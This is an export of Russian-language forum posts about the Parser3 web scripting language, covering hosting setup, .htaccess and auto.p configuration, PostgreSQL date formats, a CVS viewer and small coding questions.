1. Чем обьяснить, что не работает мой скрипт? (закачан в бинаре, права 700, но http://www.exprompt.ru/cgi-bin/parser3.cgi не работает). Возможно ли что у хостера стоят какие то настройки в апаче, что делает приоритетным их парсер?\
2.Каков алгоритм дальнейших действий?\
\
Сразу отмечу, что мы перелопатили и FAQ и раздел \"Хостеры\" на этом сайте, и сайт Егорова, и доки хостера, десять раз проверили .hracces, прошли весь путь от начала до конца, пока ничего нет... грабли одни и те же.\
\
Если еще какие детали нужны - с удовольствием отвечу."
"25828","почитайте пример: ПО УМОЛЧАНИЮ ВСЕ ХОРОШО"
"25829","прочитайте наконец пример.\
\
преобразования перед сохранением - ЗЛО. хранить надо стараться то, как ввел пользователь."
"25830","[quote]* последний комментарий добавить?[/quote]\
Можно, а где его брать?\
Пробовал history -r HEAD -a -x MAR - но там без комментариев.\
\
[quote]* недавние даты писать в духе вчера/позавчера/неделю назад[/quote]\
Сделал.\
\
[quote]* вкратце рассказать о способе достижения такого успеха? :)[/quote]\
Способ простой: раз в сутки checkout. Если запрашиваются изменения, то, если их нет в кэше, на лету делается diff, если есть, то они берутся из него.\
\
Если найду время привести их в порядок, то обязательно выложу исходники."
"25831","показывает версию 3.0.0005"
"25832","к ФАК вас отправляли для того, чтобы вы прочитали и написали сюда:\
[b]что вы делали[/b]\
\
ответы \"делали все\", \"делали по документации\" и т.п. не устраивают, т.к. многие примитивную инструкцию в левой колонке раздела [url=\"/download/redhat/\"]скачать[/url] понимают совсем по разному.\
\
вы можете сделать [b]в точности как написано в примитивной инстркции по установке[/b] в левой колонке в разделе \"скачать\", после этого привести реальные ссылки на живой parser3.cgi, _test.html, при этом привести полный код конфигурационного auto.p (который вы положили рядом с парсером), .htaccess и структуры каталогов (и пожалуйста, перед постом проверьте то, что публикуете. не понятно, это у вас в посте опечатки или и при инсталяции у вас то-же самое. примеры ошибок (опечаток?): $CLASSES_PATH [я не знаю что это такое], .hracces [можно исправлять подобный файл хоть 1000 раз, апач не знает что это такое и по умолчанию требует .htaccess] и др.).\
\
P.S. http://www.exprompt.ru/cgi-bin/parser3.cgi - работает, и выдает мне версию парсера, правда очень древнюю: Parser/3.0.0005\
IE? User friendly off (опять FAQ)\
\
P.P.S. при установке попробуйте переименовать исполняемый файл parser3.cgi например в p3.cgi"
"25834","ваш хостер посоветовал[худо/бедно ответив] простую и понятную вещь:\
увидеть ошибку, запустив скрипт с консоли.\
\
вы попробовали?\
что получилось?\
\
важная вещь: рабочий каталог на момент запуска скрипта с консоли считается корнем веб-пространства."
"25835","[code]\
..выборка из базы.... \
$var[$news.body]\
# ЗАМЕНА ПЕРЕМЕННОЙ\
$var[^var.match[\\[([biu])\\](.+?)\\[/\\1\\]][gi]{<$match.1>$match.2</$match.1>}]\
# BBCODE\
$var[^var.match[\\n][g]{<br />}]\
# МЕНЯЕМ /n НА БРЕЙК\
^untaint[html]{$var}[/code]\
# ВЫВОДИМ[/code]\
Выполняет поставленные задачи: bbcode доступен, теги запрещены, переводы строк делаются. Прям как rowenta от moulinex :)\
ЗЫ. Пример читал раза три."
"25836","если почему-то вам некомфортно в консоли,\
можно создать скрипт-обёртку на любом любимом языке, из которого уже запустить parser. журнал ошибок в скрипте-обёртке записать в любое место, куда вам больше нравится.\
\
пример скрипта-обёртки на shell я уже приводил. поищите \"wrapper\" или \"#!/bin/sh\""
"25838","http://cvsview.parser.ru/\
готово. [как и предлагали, CNAME]\
\
\
ещё попросил admin'ов, чтобы с http://cvs.parser.ru туда redirect сделали, со временем."
"25839","хочется видеть дату реального обновления.\
чтобы люди видели реальную дату, чтобы даже если что-то отвалится в регулярном обновлении, чтобы они не вошли в заблуждение."
"25841","трудно представить."
"25844","Теперь при отображении страницы, если указан модуль будет указываться время последнего запуска cvs checkout для этого модуля. Хотя это, конечно, не самый лучший показатель, но другого в голову не приходит."
"25846","на самой первой странице давайте тоже что-нибудь напишем?"
"25847","Хорошая идея, теперь на первой странице указывается дата обновления каждого модуля."
"25849","Пользователь вводит в гостевой символы или слова \
без пробелов и переносов, и когда его\
сообщение выводится - страница растягивается\
шире экрана..,т.е. не помогает определенная\
ширина столбца в дескрипторе <TD> и т.д.\
Можно ли как-нибудь подсчитывать кол-во\
подряд идущих символов между пробелами и\
переносами строк, и, если оно превышает\
опред. число - вставлять перенос, или\
это вообще делается не так?\
\
Заранее благодарю за подсказку."
"25851","[code]\
$message[$form:message]\
$word[^message.split[ ]]\
[/code]"
"25852","Появляется Ё0R на белом фоне и больше ничего - при вызове заведомо существующей страницы/диры, mod_rewrite включен, должен переправлять на Index.html + обработка параметров... Кто знает, что за.. ?"
"25853","Итак, предыстория: когда на мой сайт, созданный на основе CMS, в которой все запросы велись через один cgi-шник, ломились порядка 50 юзверей в минуту, всё это дело выдавало 500-ю-сами-знаете-чего. Страницы, которые выдавались другими cgi-шниками работали нормально, да и статичные страницы тоже открывались в то же самое время.\
\
Теперь вопрос: что лучше: если через mod_rewrite все запросы перекинуть на один файл со switch'ами и т.п., или же создать несколько \"разгребающих\" файлов, на которые будет перерабатыватсься переданные из mod_rewrite параметры? И намного ли это спасет положение?"
"25854","Возможно, вы говорить про IEшное сообщение \"невозможно отобразить страницу\", возникающую при таймауте, это лечится увеличением MaxClients (главное, чтобы при этом apache не стал свопиться).\
\
Если выдаётся именно пятисотая ошибка, то надо искать более конкретную причину - приведите кусок error_log с ошибкой и проверьте, не попадает-ли что-то интересное в /var/log/messages в этот момент. Без этих данных понять в чём дело невозможно.\
\
Но mod_rewrite точно не поможет."
"25855","Павел, немного меня не поняли ;)\
Это раньше была фигня с cgi, которую описал, давно было, когда было мне лет.. 15 :) Тогда - возникала именно 500я именно от напряга посетителями. Как - сам не знаю. Просто народу было много.\
\
Вопрос в другом - надо ли распределять нагрузку при создании сайта на П3 на несколько файлов, или же всё делать в одном. Может кто знает другие проблемы, которые могут возникнуть, если весь код сайта я засуну в index.html+auto.p ... например, нагрузка на сервер, процессор, что там еще... не убъет ли меня хостер за такое? Изменится ли что-нибудь, если я разделю код на несколько файлов, создам пользовательские классы...?"
"25857","[b]to Misha:[/b]\
\
[quote]\
...не понятно, это у вас в посте опечатки или и при инсталяции у вас то-же самое. примеры ошибок (опечаток?): $CLASSES_PATH [я не знаю что это такое], .hracces [можно исправлять подобный файл хоть 1000 раз, апач не знает что это такое и по умолчанию требует .htaccess] и др.)\
[/quote]\
$CLASSES_PATH, .hracces -- опечатки в посте, признаю. Все остальное, тем более что заключено в [code][/code] сделано копи/пасте. То что апач не знает что такое \".hracces\" , мне понятно :-).\
\
В общем я все снес и что работало и что нет :-)... Выполнил Ваш совет насчет [quote]примитивной инстркции по установке в левой колонке в разделе \"скачать\"[/quote]. Начнем с самого начала. Вот информация, которую Вы просили... Все что по описанию -- один к одному, кроме следующего:\
1. CharsetDisable On - сразу же серверная ошибка 500 поэтому не прописал.\
2. parser3.cgi переименован.\
3. Пароль для MySQL не поставлен (в реале он прописан)\
\
Живая ссылка на тестовый файл -- http://exprompt.ru/_test.html К сожалению не работает )))\
Все затребованные данные ниже.\
Путь /home/e/exprmru дал провайдер.\
\
[b]структура каталогов[/b]\
|\
|- public_html\
   |- cgi-bin\
   |   |- charsets\
   |   |     |- koi8-r.cfg\
   |   |     |- windows-1250.cfg\
   |   |     |- windows-1251.cfg\
   |   |     |- windows-1257.cfg\
   |   |\
   |   |- lib\
   |   |     |- libparser3mysql.so  \
   |   |\
   |   |- par3.cgi\
   |   |- p3.cgi\
   |   |- auto.p\
   |   \
   |- .htaccess\
   |- _test.html\
\
par3.cgi -- это CGI скрипт с XML с сайта Егорова для Linux RedHat 7.3 (права 700)\
p3.cgi -- это с сайта разработчиков, та же версия (права 700)\
\
[b]Файл .htaccess[/b]\
\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/par3.cgi\
\
# запрет на доступ к .cfg и .p файлам:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
\
[b]файл auto.p[/b]\
\
[code]\
@conf[filespec]\
$charsetsdir[/home/e/exprmru/public_html/cgi-bin/charsets]\
$sqldriversdir[/home/e/exprmru/public_html/cgi-bin/lib]\
\
$CLASS_PATH[^table::create{path\
ru\
lib\
lib/classes\
}]\
\
\
$CHARSETS[\
    $.koi8-r[$charsetsdir/koi8-r.cfg]\
    $.windows-1250[$charsetsdir/windows-1250.cfg]\
    $.windows-1251[$charsetsdir/windows-1251.cfg]\
    $.windows-1257[$charsetsdir/windows-1257.cfg]\
]\
\
# change your client libraries paths to those on your system\
$SQL[\
	$.drivers[^table::set{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	/usr/lib/libmysqlclient.so\
}]\
]\
\
# for ^file::load[name;user-name] mime-type autodetection\
$MIME-TYPES[^table::set{ext	mime-type\
zip	application/zip\
doc	application/msword\
xls	application/vnd.ms-excel\
pdf	application/pdf\
ppt	application/powerpoint\
rtf	application/rtf\
gif	image/gif\
jpg	image/jpeg\
png	image/png\
tif	image/tiff\
html	text/html\
htm	text/html\
txt	text/plain\
mts	application/metastream\
mid	audio/midi\
midi	audio/midi\
mp3	audio/mpeg\
ram	audio/x-pn-realaudio\
rpm	audio/x-pn-realaudio-plugin\
ra	audio/x-realaudio\
wav	audio/x-wav\
au	audio/basic\
mpg	video/mpeg\
avi	video/x-msvideo\
mov	video/quicktime\
swf	application/x-shockwave-flash\
}]\
\
$LIMITS[\
	$.post_max_size(10*0x400*0x400)\
]\
\
$MAIL[\
#	$.SMTP[smtp.domain.ru]\
	$.sendmail[\\usr\\sbin\\sendmail -t -i -f postmaster]\
]\
\
\
\
##\
## Default encodings.\
## ATTENTION: if you work with windows-1251 encoding, please DO NOT\
## modify these settings.\
##\
\
@auto[]\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
\
\
\
##\
## SQL connect string examples.\
##\
\
$SQL.connect-string[mysql://exprmru:мой пароль@localhost/exprmru?charset=cp1251_koi8]\
#$SQL.connect-string[pgsql://user:pass@host/db]\
#$SQL.connect-string[oracle://user:pass@service?NLS_LANG=RUSSIAN_AMERICA.CL8MSWIN1251&NLS_DATE_FORMAT=YYYY-MM-DD HH24:MI:SS]\
#$SQL.connect-string[odbc://DSN=datasource^;UID=user^;PWD=password]\
\
\
##\
## Error handling templates.\
##\
\
@fatal_error[title;body]\
$response:status(500)\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
<html>\
<head><title>$title</title></head>\
<body>\
<H1>$title</H1>\
$body\
#for [x] MSIE friendly\
^for[i](0;512/8){<!-- -->}\
</body>\
\
\
@unhandled_exception_debug[exception;stack]\
^fatal_error[Unhandled Exception (Debug);\
\
<pre>^untaint[html]{$exception.comment}</pre>\
^if(def $exception.source){\
<b>$exception.source</b><br>\
<pre>^untaint[html]{$exception.file^($exception.lineno^)}</pre>\
}\
^if(def $exception.type){exception.type=$exception.type}\
^if($stack){\
	<hr>\
	^stack.menu{\
		<tt>$stack.name</tt> $stack.file^($stack.lineno^)<br>\
	}\
}\
\
]\
\
\
@unhandled_exception_release[exception;stack]\
^fatal_error[Unhandled Exception;\
\
<p>The server encountered an unhandled exception\
and was unable to complete your request.</p>\
<p>Please contact the server administrator, $env:SERVER_ADMIN\
and inform them of the time the error occurred,\
and anything you might have done that may have caused the error.</p>\
<p>More information about this error may be available in the Parser error log\
or in debug version of unhandled_exception.</p>\
\
]\
\
@unhandled_exception[exception;stack]\
^unhandled_exception_debug[$exception;$stack]\
[/code]"
"25859","если вы правильно установили apache и сам SQL сервер, то в auto.p достаточно оставить все как есть, только в самом низу прописать соединение.\
mysql://логин:пароль@127.0.0.1/база_данных\
\
иногда на локальных машинх 127.0.0.1 не срабатывает, можно попробовать localhost что собственно одно и то же.\
Все, больше ничего в путях к серверу прописывать не надо.\
\
А вообще для порядка почитайте вот это http://www.spearance.ru/parser3/apache/ , там все подробно написано. Неоднократно сам ставился."
"25860","Sanja здесь http://www.parser.ru/forum/?id=20040 указал на пару программ, но под винду,  вот чем под Линем это делать?"
"25861","Ну, допустим, есть какое-то кол-во слов, нАпиСАнЫх вОт ТаК. Было бы удобно привести их к нормальному виду с помощью replace[]. \
Хотя, место, конечно, не узкое."
"25862","а вот если бы ещё и эти даты подпали под функцию, делающую из них \"сегодня, 1:00\"?\
\
[интересно, это все такие занудные, или только я?]"
"25863","хотя бы для win32?\
все командные файлы сборки давно готовы. и тоже лежат в cvs."
"25865","\"НеноРМалЬнЫй вИД\"\
\"нормальный вид\"\
=)"
"25866","Блин, ведь есть же match и lower/upper!\
Гоню, гоню..."
"25868","из плохого:\
замечено, что если размер ответа сервера превышает полкилобайта,\
утилита делает вид, что ответ не получен, и пытается делать retry, безуспешно, конечно.\
\
если кто с таким столкнётся, просто увеличьте…\
[code]\
#define CBUFFSIZE       512\
...\
char cbuff[CBUFFSIZE];	/* a buffer to store server response header */\
[code]"
"25869","http://openlc.sourceforge.net/\
http://jstress.sourceforge.net/\
http://sourceforge.net/projects/networkstresser/\
http://solex.sourceforge.net/\
http://west.sourceforge.net/"
"25870","Поставил себе cvsnt и cygwin, пробую - времени, правда, мало - есть ещё и работа...\
\
Получится что-то \"разумное, доброе\" - поделюсь."
"25871","http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/wordwrap.asp"
"25872","… мы не верим что одинаковые скрипты с одинаковой функциональностью имеют настолько отличающиеся требования к памяти и время выполнения.\
\
можно на любом языке написать код который будет складывать сервер даже при маленьком количестве обращений.\
\
вы ничего не сказали по поводу того, КАК написан код и что он делает, поэтому давать какие-либо советы смысле нету.\
\
в любом случае mod_rewrite - это [b]дополнительная[/b] нагрузка на веб сервер."
"25873","http://exprompt.ru/cgi-bin/par3.cgi\
\
Unhandled Exception (Debug)\
\
read failed: No such file or directory (2), actual filename '/home/e/exprmru/public_html/par3.cgi'\
/home/e/exprmru/public_html/par3.cgi\
\
http://exprompt.ru/cgi-bin/p3.cgi\
\
аналогично.\
\
покажите нам существующий p3.cgi/par3.cgi в /cgi-bin/\
при этом, насколько я понимаю, скрипт алиас /cgi-bin/ (это не каталог, подробности смотрите в доке апача) должен указывать в ваш каталог /home/e/exprmru/public_html/cgi-bin/ (пока он указывает совсем не туда...)"
"25874","Для Win32 и FreeBSD есть версии от 30.01.2004 самой последней нет, т.к. там просто не работает date::create для даты передаваемой в виде sql string :("
"25875","не более того."
"25876","объясните почему такой код:\
[code]\
@main[]\
$dt[^date::create[2004-01-26 18:25:52.096396]]\
${dt.year}-${dt.month}-${dt.day} ${dt.hour}:${dt.minute}\
[/code]\
работает в 3.1.1 и не работает в HEAD? Выдавая:\
[code]\
create\
\
'52.096396' is invalid number (int)\
[/code]"
"25877","где написано, что так должно работать?\
\
резоны я уже писал почтой. если хотите, могу и сюда их copy/paste."
"25878","А где можно скачивать сие обновления? :)"
"25880","Такая строка даты наблюдается только в PostgreSQL, в MySQL дело ограничивается лишь секундами. Видимо вы просто ужесточили формат даты передаваемой в виде sql string (как будто сразу нельзя это было сказать, вместо разведения этой демагогии), для этого мне придется рыть весь код и искать все места где это встречается. Очень, знаете, весёлое занятие. Ну ладно, это всего лишь эмоции, нет так нет, изменить мне это не дано."
"25881","http://www.egoroff.spb.ru/portfolio/download/"
"25882","я в почте на это прозрачно намекал.\
\
что до pgsql, то, возможно, его можно попросить глобально поменьше цифр в дате выдавать?\
\
заодно снизится поток создаваемых/передаваемых sqlserver->parser данных."
"25883","Буду читать его доку на эту тему, но пока я там ничего полезного не нашел. Найду напишу."
"25884","[code]\
date_trunc('second', source)\
[/code]"
"25885","Друг меня вчера спросил, слушай а есть ли что то но на английском о парсере, друг то австралиец... \
\
Насколько я помню ничего такого нет. Возможно ли что в будущем появится документация на английском?"
"25886","сейчас идёт такая работа. 70% done."
"25887","Александр, можно сказать о каких либо строках? Хотя бы примерных... Буду очень благодарен...."
"25888","примерно"
"25889","Уважаемые, \
Столкнулся я с неприятностью: нормально работающий Parser выдает \"premature end of script headers\" в лог сервера при попытке отправить файл на сервер через форму.\
От размера передаваемого файла не зависит.\
Права на Parser - 755.\
Parser 3.1.1\
ОС -FreeBSD\
Во всем остальном парсер работает нормально.\
\
Где искать решение?"
"25890","в версии 3.1.1 был ряд ошибок, с этим они связаны не были.\
\
когда приведёте больше информации, будет понятнее."
"25891","Нет, сознательно я ничего не скрываю :-) Разве что нечаянно...\
\
В общем я озадачил свой хостинг по поводу \
[code]\
ScriptAlias /cgi-bin/ \
[/code]\
Сисадмин что то там натворил и тестовая страничка http://www.exprompt.ru/_test.html стала работать именно так как я и ожидаю. Т.е. я четко вижу, что работает именно мой парсер, работает MySQL и подключен XML (которого у \"их\" парсера не было)\
\
Остался только осадок по поводу того, что версия парсера по прежнему не показыватся. А ошибка уже другая:\
\
[quote]\
Unhandled Exception (Debug)\
read failed: actually read % bytes count not in [0..4294967295] valid range\
/home/e/exprmru/public_html/par3.cgi\
[/quote]\
\
Что скажете? Особенность настойки апача?.. Можно ли на это закрыть глаза или это является проблемой?"
"25892","По всей видимости обновление репозитария не работает или же front-end выдает неверные данные :(\
Только что проверил:\
Если верить информации первой странице то последнее обновление было  3 февраля 2004 01:42. А файл /parser3/src/types/pa_vform.C до сих пор старой версии (от 2003/11/24 12:47:21), хотя последнее его обновление состоялось вчера утром(\
static const char * const IDENT_VFORM_C=\"$Date: 2004/02/02 09:18:17 $\";)\
Где-то видать ошибочка закралась ..."
"25893","В stdout cvs было\
U parser3/src/types/pa_vcookie.C\
U parser3/src/types/pa_vform.C\
В stderr ничего необычного. Но файл и Entries почему-то остались старыми. При обновлении вручную - обновилось. Я сейчас немного переделал то, что вызывает cron, быть может, глюк исчезнет."
"25894","по поводу последней ошибки я ничего сказать не могу, может сможет ПАФ.\
\
P.S. обратите внимание на то, что вы в конечном счете вы сделали: примитивные инструкции которые написаны в разделе скачать + кусок из FAQ где описано про обращение к parser3.cgi. все."
"25895","Хотя того, что в новых версиях нельзя будет использовать дефолтную дату из постгреса очень жалко."
"25896","В место \"база_данных\" создать какую-нибудь базу данных например parser и написть.. mysql://root:password@127.0.0.1/parser ????"
"25897","где эту штуку ставить нужно?"
"25898","mysql $sqldriversdir/parser3mysql.dll (относительный путь. проверка невозможна) $sqldriversdir/libmySQL.dll (относительный путь. проверка невозможна) \
\
все равно не изменилась, изменилась только строка $SQL.connect-string: определена"
"25900","Ну мне самому кажется, что помогли Вы своим указанием на скрипталиас, это позволило мне четко сформулировать вопрос админу. Без этого указания я ходил по кругу \"новая установка\" - \"нет результата\" - \"новая установка\" раза три... И админ в том числе никак не мог ничего понять.\
\
Так что спасибо. \
\
По поводу ошибки админ мне ответил, что можно закрыть глаза, но хотелось мы услышать мнение и уважаемого PAF по поводу того, не повлечет ли это в дальнейшем трудностей в разработке проектов и не лучше ли сейчас \"добить\" админа своими просьбами :-)\
\
Уважаемому PAF также спасибо за дельные советы."
"25901","Меняю язык: ?lang=uk. Страница делает вид, что обновляется, но язык не меняется. Нажимаю F5 - теперь обновилась.\
[code]\
# Переключение языка: ?lang=один_из установленных\
^if(def $form:lang){\
	$cookie:lang[$form:lang]\
}\
[/code]\
Все необходимые проверки делаются, все работает. Вот только как заставить страницу обновиться с новым языком?\
Пробовал через мета-инфу HTML и Парсером рефреши делать в методе, сразу после смены куки. Ничего.\
\
В чем тут дело?"
"25902","я тут \
http://www.postgresql.org/docs/7.4/static/datatype-datetime.html\
вычитал,\
что можно задать что-то в таком духе, и все даты будут в стандартном sql-формате, а не postgres.\
[code]\
set datestyle to 'sql'\
[/code]"
"25904","я не очень понимаю, как вы такого добились.\
однако, как понимаю, работать это не мешает.\
\
если есть досуг разбираться, пришлите переменные окружения, с которыми сервер запускает .cgi файлы. я уже писал, как их получить."
"25905","Заранее звиняюсь, может не совсем по парсеру вопрос, как к людям знающим решил обратится..\
Как правильно считать посетителей? \
В смысле сделать счетчик и уникальных посетителей писать. Если писать только айпишники, то проблема с проксями будет.\
По форуму поискал, там есть решение с куками, но мне что-то оно не по душе.."
"25907","Это я и так знаю..\
Вопрос в том, чтобы не пользоваться куками, какую ещё уникальную инфу можно собрать с компа посетителя, чтобы различить их при одинаковом айпишнике (если через проксю).\
Ну или почти уникальную.."
"25908","Это выдаётся при попытке сделать ./configure в HEAD. Полная команда:\
\
./configure \\\
        --with-static-xml=/usr/local \\\
        --without-oracle-client \\\
        --with-static-gc=/usr/local/lib \\\
        --disable-link-libstdcpp \\\
        \"--with-sendmail=/usr/sbin/sendmail -i -t\"\
\
autoconf configure.in > configure не помогает, поиск по форуму тоже.\
\
Где могут быть грабли?"
"25909","плюс user_agent и cookies..."
"25911","Возможно ли узнать МАК адрес, это не кук и меняетс в большинстве случаев вместе с компьютером.\
Вопрос в другом, Как?"
"25914","Как говорится, баги бегали и нагло шевелили усами..\
\
Только что обнаружил, что при загрузке\
^image::load[image.gif]\
_анимированного_ гифа, парсер падает выдавая сие в нехорошем окошке:\
\
Fatal error in gc\
\
Too many heap sections\
\
\
.. и сие в логе:\
exception in request exception handler: Exception 0x80000003 at 0x77F7F570\
\
Я конечно понимаю, что нефиг туда анимированные гифы сувать, но \
может быть ситуейшн когда всего не предусмотришь и какая-нибудь добрая душа его туда в конце\
концов додумается сунуть..\
За сайт боязно..\
\
Научите как бороться, пожалуйста..\
при ^image::measure не виснет, но толку с этого, как с козла молока..\
\
Или может я чего не так делаю? \
\
PS: Парсер 3.1.1"
"25916","но он к сожалению поддерживается не всеми браузерами."
"25917","Лечится переносом базы в другой раздел, побольше."
"25918","там про сабж говорилось, т.е. куку, в которой будет уникальный ID, именно такие куки позволяют считать и отслеживать уникальных посетителей.\
а IP(даже за проксей) + USER_AGENT - имхо, слишком просто - у меня под виндой только 4 бровзера + под линем еще 4"
"25919","На первой странице имеем (да и на всех остальных страницах) \
[quote]\
src/types/pa_vform.C 3.02.2004 05:54\
src/main/pa_charset.C 3.02.2004 05:54\
src/types/pa_vcookie.C 3.02.2004 02:45\
src/types/pa_value.C 3.02.2004 02:45\
[/quote]\
\
Не думаю, что Александр работает исключительно по ночам:)\
Что-то с временной зоной? Время явно левое ..."
"25920","там рядом (чуть выше) был мой комментарий, вы его читали?\
\
я думал что читали, и что проверили наличие места... ведь ошибка 28 это черным по английски - \"нет места\""
"25924","Мне ПАФ так посоветовал. Без неё всё собирается и работает"
"25925","Цитата:::::\
Для создания кода можно пользоваться любым текстовым редактором. Желательно, чтобы в нем был предусмотрен контроль над парностью скобок с параллельной подсветкой, поскольку при увеличении объема кода и его усложнении становится сложно следить за тем, к чему относится та или иная скобка, и эта возможность существенно облегчит ваш труд. Также поможет в работе и выделение цветом конструкций языка. Читать и редактировать код станет намного проще.\
:::::конец цитаты\
\
В каком редакторе все это сочитается? \
И подскажите ссылочку где его можно скачать?"
"25926","Нда, кстати..\
Получится максимум 5-10 хостов с прокси, в лучшем случае.."
"25927","http://www.parser.ru/forum/?terms=%F0%E5%E4%E0%EA%F2%EE%F0&search_in_message=1&author=&doSearch=%CD%E0%E9%F2%E8 (формочка поиска сбоку).\
\
Вопрос обсуждался десятки раз. Появление этого сообщения - следствие скудоумия или лени?!"
"25929","При выдергивании времени из Entries первая цифра часа терялась."
"25930","Все скопировал и сделал как в уроке. Работает - ура!\
Однако решил создать папку <news> и там разместить тотже файл index.html - ошибка!!!\
\
::::цитата из браузера\
/home/v/voshru/public_html/parser/auto.p(38): '/home/v/voshru/public_html/parser/news/sections.cfg' read failed: No such file or directory (2), actual filename '/home/v/voshru/public_html/parser/news/sections.cfg'  type: file.missing\
:::::::конец цитацы\
\
Я работаю в папке <parser> вот код sections.cfg:\
section_id	name	uri\
1	Главная	/~voshru/parser/\
2	Новости	/~voshru/parser/news/\
3	Контакты	/~voshru/parser/contacts/\
4	Цены	/~voshru/parser/price/\
5	Ваше мнение	/~voshru/parser/gbook/\
----------------------------------------------------\
Если я правильно понимаю ошибку, то говориться о том что в строке 38 файла auto.p стоит относительная ссылка на объект sections.cfg. Соответственно и ищется этот уже в папке <news>! Попробовал скопировать в <news> файл sections.cfg - ок, все заработало.\
Вопрос - остался!!! Как сделать так чтобы не приходилось каждый раз переписывать файл sections.cfg в вновь создаваемую папку??? Причем абсолютные пути не катят, поскольку в этом случае нарушается универсальность программы и возможность ее работы на разных сайтах и/или из разных мест не возможна без правки.\
\
Что делать, как быть?"
"25932","В file::load путь указывается от DOCUMENT_ROOT, а не от корня дискового пространства, надо делать ^file::load[/sections.cfg]"
"25933","/home/v/voshru/public_html/parser/auto.p(38): '/home/v/voshru/pub/sections.cfg' read failed: No such file or directory (2), actual filename '/home/v/voshru/pub/sections.cfg'  type: file.missing"
"25934","Увы... проблема все еще есть\
[quote]\
parser3 (обновлен сегодня в 1:45)\
Последние изменения:\
src/types/pa_vcookie.C 3.02.2004 22:45\
src/types/pa_value.C 3.02.2004 22:45\
...\
[/quote]\
\
А в самом файле имеем: \
static const char * const IDENT_VCOOKIE_C=\"$Date: 2004/02/03 16:45:25 $\";\
\
Видать баг глубоко зарылся :)"
"25935","Что-то DOCUMENT_ROOT совсем не туда смотрит..."
"25936","чтобы я на будущее исправил.\
\
чтобы проблема с отсутствием заголовочных файлов про select выявилось пораньше.."
"25937","а я вроде посылал кусок конфига касающийся select или этого мало?"
"25938","если вам не лень, пожалуйста, пришлите .gif, на котором имеете проблему мне почтой?\
\
я или исправлю ошибку в старой либе, либо перейду на новую.."
"25940","можно задать document root в какой-больше-нравится"
"25941","Павел - пока нет."
"25942","Список файлов генерируется по Entries - http://cvsview.parser.ru/modules/parser3/src/types/CVS/Entries\
\
Почему там совершенно другое время мне пока неясно."
"25944","Загвоздка в том, что если поставить слеш перед sections.cfg ^file::load[/sections.cfg], то путь меняется с \
/home/v/voshru/public_html/\
на\
/home/v/voshru/pub/\
...\
может это в настройках хостера что-то нетак?"
"25945","Я не понимаю, что вы имеете ввиду?\
Можно пример?"
"25947","длинно:\
исправлено уже сейчас, и, кому нужно срочно, вариант, сделать это:\
http://www.parser.ru/docs/lang/compilesrc.htm\
\
и ещё вариант:\
не помню, в прошлый раз это обсуждалось или нет, но временным решением является тривиальная обёртка вокруг parser, задающая правильный DOCUMENT_ROOT."
"25948","Ни так\
[code]\
pgsql://user:pass@server/db?charset=UNICODE&datestyle=ISO\
[/code]\
ни так\
[code]\
pgsql://user:pass@server/db?charset=UNICODE&datestyle=SQL\
[/code]\
Так что truncate вам в руки"
"25950","мы pgsql не пользуемся.\
\
исходники и parser и pgsql драйвера общедоступны."
"25951","я думал вы знаете, а вы просто как и я гадаете."
"25952","совет беспорно конструктивен. А то что не пользуетесь PgSQL так это зря :)"
"25953","в документации написан чётко синтаксис.\
не работает?\
как пробуете/что говорит?"
"25954","Ставлю перед запросом выбирающим поля с TIMESTAMP такой\
[code]\
^void:sql{SET DATESTYLE = 'ISO'}\
[/code]\
но один фиг мили и прочие доли секунды по прежнему возвращаются. Может оно конечно не будет так происходить еслис нуля базу заполнять с указанной установкой, но для существующей БД это не спасает положения."
"25955","не 'iso'."
"25956","c SQL вообще не возвращается дата в требуемой sql string"
"25957","Можно полечить, как посоветовал PAF или завести в auto.p переменную \
[code]$MY_DOC_ROOT[/../public_html][/code]\
которую пихать в путь при всех файловых операциях\
[code]^table::load[$MY_DOC_ROOT/sections.cfg][/code]\
\
Параллельно следует проверить значение $env:DOCUMENT_ROOT и если оно не совпадает с путем, по которому лежит корневой index.html (а оно и не совпадет, но проверить надо ;-)) - написать в поддрежку хостинга письмо с вопросом почему оно не туда смотрит..."
"25958","Дык, я сразу подумал, что гиф такой..\
Потом из интереса выгреб из кэша десяток анимированных гифов - 7 из них парсер вешали, на три парсер ругался, что это не gif формат..\
Я пошлю на мыло тот гиф.."
"25959","pd=> SELECT dt FROM test;\
             dt\
----------------------------\
 02/04/2004 18:57:49.00 MSK\
(1 row)\
\
pd=> SET DATESTYLE = 'ISO';\
SET VARIABLE\
pd=> SELECT dt FROM test;\
           dt\
------------------------\
 2004-02-04 18:57:49+03\
(1 row)\
\
Правда, появляется часовой пояс :-) Вот про это я действительно забыл.\
\
В привычном формате дату можно получить при помощи to_char(dt, 'YYYY-MM-DD HH24:MI:SS')"
"25960","[code]\
^mail:send[\
	$.from[bobych@bobych.ru]\
	$.to[bobych@bobych.ru]\
	$.content-type[\
		$.value[multipart/alternative] \
		$.charset[koi8-r]\
	]\
	$.subject[Test]\
        $.text[тесто тесто кои]\
]\
[/code]\
Пришло:\
\
[code]reqrn reqrn jnh\
-------\
[/code]\
\
Я понимаю, что тире на второй строке - это связано с указанием multipart/alternative, но как КОИ8 превралилась в латинницу, да не транслит и не понять что вообще.. Кто сталкивался?"
"25961","Мысль. Юзер очень хороший и указал при регистрации 2 ящика. Оба валидные, формата user@users.dom, надо ему послать. Рассылаем по первому введенному им ящику. \
надо - если ящик переполнен, или ящик не сущетвует (типа Релком обиделся и домен его убил, или юзер логин ящика сменил) - то отправить письмо на второй, альтернативный ящик. Может как-то можно обращаться к ящику вначале и проверять, существует ли он перед отправкой письма ?? Если да, то как?"
"25962","К слову сказать я тоже на spaceweb.ru хостинг имею, до сих пор парсер на 100% на удалось запустить....\
Как у них апач сконфигурирован я до сих пор не догоняю.\
\
Смотрите здесь мои проблемы, если интересно :-)\
http://www.parser.ru/forum/?id=25788\
\
Справедливости ради отмечу, что вообще то это первые проблемы, которые я имею на этом хостинге."
"25963","Существует таблица sections\
\
name      age\
Василий   19\
Петр      21\
Игорь     32\
Иван      22\
Марина    11\
Алина     21\
....\
\
Как сделать выборку трех случайных строк из этой таблицы, чтобы в результате получилась новая таблица sections2:\
name     age\
Марина    11\
Игорь     32\
Василий   19\
\
При этом строки в новой таблице не должны повторяться."
"25964","[code]\
